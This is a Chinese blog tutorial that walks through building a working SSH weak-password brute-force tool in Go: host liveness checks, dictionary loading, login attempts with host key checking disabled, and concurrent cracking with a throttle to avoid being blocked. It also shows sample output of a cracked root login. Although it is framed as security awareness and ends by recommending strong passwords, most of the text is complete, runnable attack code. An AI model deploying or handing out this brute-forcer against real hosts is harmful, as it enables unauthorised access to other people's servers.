随着云服务的兴起,拥有一台主机不再是一件很昂贵的事情,比如你在xx云购买一个主机,一年也只需要几百元,购买的主机可以用来搭建博客、网站或者自己做测试使用。

购买了云主机后,常用的管理方式就是使用SSH,这是一个很方面的工具,可以让你登录远程系统,就像在自己的shell中操作一样。

但是,很多人并没有意识到安全问题,使用了弱口令,这样就很容易被爆破,从而拿到ssh的权限,进而可以在你购买的主机上做很多事情。

在这篇文章中,我主要通过演示如何破解SSH的弱口令,让大家了解其中的原理,进而提升自己的安全意识,保护好自己的云电脑主机。

检测目标主机是否存活

要爆破一个主机的SSH口令,需要先检测该主机是否存活,如果存活的话,才能继续尝试破解。

因为SSH是基于TCP协议的,所以可以通过net.DialTimeout函数检测主机是否存活,代码如下所示:

1
2
3
4
5
6
7
8
func checkAlive(ip string) bool {
   alive := false
   _, err := net.DialTimeout("tcp", fmt.Sprintf("%v:%v", ip, "22"), time.Second*30)
   if err == nil {
      alive = true
   }
   return alive
}

以上代码使用默认的22端口,进行拨号,如果返回的errnil,则证明该主机是存活的,可以继续爆破。

弱口令字典

如果要进行弱口令爆破,一般都会有一个弱口令字典,用户存放对应的用户名和密码。所以呢,我们需要读取弱口令字典,组成不同的弱口令集合,这样才可以进行爆破。假设我有两个字典文件:user.dicpassword.dic,分别用于存放用户名和密码,读取字典文件的代码如下所示。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
func readDictFile(filename string) ([]string, error) {
   file, err := os.Open(filename)
   if err != nil {
      return nil, err
   }
   defer file.Close()
   scanner := bufio.NewScanner(file)
   scanner.Split(bufio.ScanLines)
   var result []string
   for scanner.Scan() {
      passwd := strings.TrimSpace(scanner.Text())
      if passwd != "" {
         result = append(result, passwd)
      }
   }
   return result, err
}

这里需要注意的是,字典文件要分行存储,比如用户名字典是一行一个用户名;同理密码字典是一行一个密码。 Go语言是通过Scanner实现一行行文本的读取的,把读取的文件,逐行添加到一个[]string切片中返回,这个切片就包含了所有的结果。

SSH登录

SSH弱口令爆破,那么怎样才算是爆破成功呢?答案就是可以用这套用户名密码SSH登录成功。这里我使用golang官方提供的SSH Client进行登录。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
func sshLogin(ip, username, password string) (bool, error) {
   success := false
   config := &ssh.ClientConfig{
      User: username,
      Auth: []ssh.AuthMethod{
         ssh.Password(password),
      },
      Timeout:         3 * time.Second,
      HostKeyCallback: ssh.InsecureIgnoreHostKey(),
   }
   client, err := ssh.Dial("tcp", fmt.Sprintf("%v:%v", ip, 22), config)
   if err == nil {
      defer client.Close()
      session, err := client.NewSession()
      errRet := session.Run("echo 飞雪无情")
      if err == nil && errRet == nil {
         defer session.Close()
         success = true
      }
   }
   return success, err
}

以上代码的意思是通过ssh登录,如果成功的话,可以在远程主机上正确执行echo 飞雪无情这个命令,并且返回true,如果登录失败,则会返回一个错误。

开始爆破

有了以上这些准备,就可以对需要爆破的主机进行弱口令破解,看哪个口令是正确的,爆破代码如下所示:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
func main() {
   //带破解的主机列表
   ips := []string{"10.0.0.1", "10.0.0.4", "10.0.0.8"}
   //主机是否存活检查
   var aliveIps []string
   for _, ip := range ips {
      if checkAlive(ip) {
         aliveIps = append(aliveIps, ip)
      }
   }
   //读取弱口令字典
   users, err := readDictFile("user.dic")
   if err != nil {
      log.Fatalln("读取用户名字典文件错误:", err)
   }
   passwords, err := readDictFile("pass.dic")
   if err != nil {
      log.Fatalln("读取密码字典文件错误:", err)
   }
   //爆破
   for _, user := range users {
      for _, password := range passwords {
         for _, ip := range aliveIps {
            success, _ := sshLogin(ip, user, password)
            log.Println(ip, user, password, success)
            if success {
               log.Printf("破解%v成功,用户名是%v,密码是%v\n", ip, user, password)
            }
         }
      }
   }
}

代码中有简单的注释,非常容易理解,最终爆破的思路是通过遍历用户名和密码,对主机进尝试登录爆破,如果成功则打印出相应的用户名和密码。

通过并发提升爆破速度

运行以上代码,程序就开始SSH弱口令爆破了,但是你会发现,速度非常慢,因为我们使用了串行的方式一个个爆破的,如果弱口令很多,那么速度会更慢,现在我们就通过并发来提升爆破速度。

要想通过并发来破解,首先我们得先把可能的用户名密码组合放在一个切片里,这样就可以知道有多少种组合,需要启动多少个协程。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
//爆破
var tasks []Task
for _, user := range users {
   for _, password := range passwords {
      for _, ip := range aliveIps {
         tasks = append(tasks, Task{ip, user, password})
      }
   }
}
type Task struct {
   ip       string
   user     string
   password string
}

这些组合已经被我放在一个[]Task中了,现在就可以并发的去执行这些破解任务了。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
func runTask(tasks []Task) {
   var wg sync.WaitGroup
   for _, task := range tasks {
      wg.Add(1)
      go func(task Task) {
         defer wg.Done()
         success, _ := sshLogin(task.ip, task.user, task.password)
         if success {
            log.Printf("破解%v成功,用户名是%v,密码是%v\n", task.ip, task.user, task.password)
         }
      }(task)
   }
   wg.Wait()
}

好了,现在在main函数中运行这个runTask函数就可以了,程序就开始自动爆破了。

1
2
3
4
func main(){
  //....
  runTask(tasks)
}

控制并发数量

上面的代码开启的协程数量是没有限制的,数量和可能用户名密码的组合有关。如果组合过多,会导致开启了太多的协程,尝试的破解链接可能被远程主机重置。

现在我们就实现一个可以控制并发数量的破解程序,可以让我们灵活的控制并发数,避免被重置(封杀)。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
func runTask(tasks []Task, threads int) {
   var wg sync.WaitGroup
   taskCh := make(chan Task, threads*2)
   for i := 0; i < threads; i++ {
      go func() {
         for task := range taskCh {
            success, _ := sshLogin(task.ip, task.user, task.password)
            if success {
               log.Printf("破解%v成功,用户名是%v,密码是%v\n", task.ip, task.user, task.password)
            }
            wg.Done()
         }
      }()
   }
   for _, task := range tasks {
      wg.Add(1)
      taskCh <- task
   }
   wg.Wait()
   close(taskCh)
}

从以上代码实现可以看到,只需要改动runTask函数即可,增加一个threads参数,用于控制启动多少个协程。 注意这里通过taskCh存储将要爆破的用户名和密码,并且在不同协程中传递数据,其实是一个生产者和消费者模式。

小结

好了,现在运行这个破解程序,看看效果。

1
2
➜  hello go run main_1.go
2021/05/05 15:52:31 破解10.0.0.8成功,用户名是root,密码是xxx

弱口令爆破是一种利用常用的用户名和密码,通过不断的尝试来破解的办法,这种破解办法需要一个很全的弱口令字典,这样才能更好的进行爆破。

同时也是因为是弱口令,所以安全防范也比较好做,只要我们设置的用户名和密码复杂一些,不要太常见,就可以避免被爆破。

本文为原创文章,转载注明出处,欢迎扫码关注公众号flysnow_org或者网站http://www.flysnow.org/,第一时间看后续精彩文章。觉得好的话,顺手分享到朋友圈吧,感谢支持。

扫码关注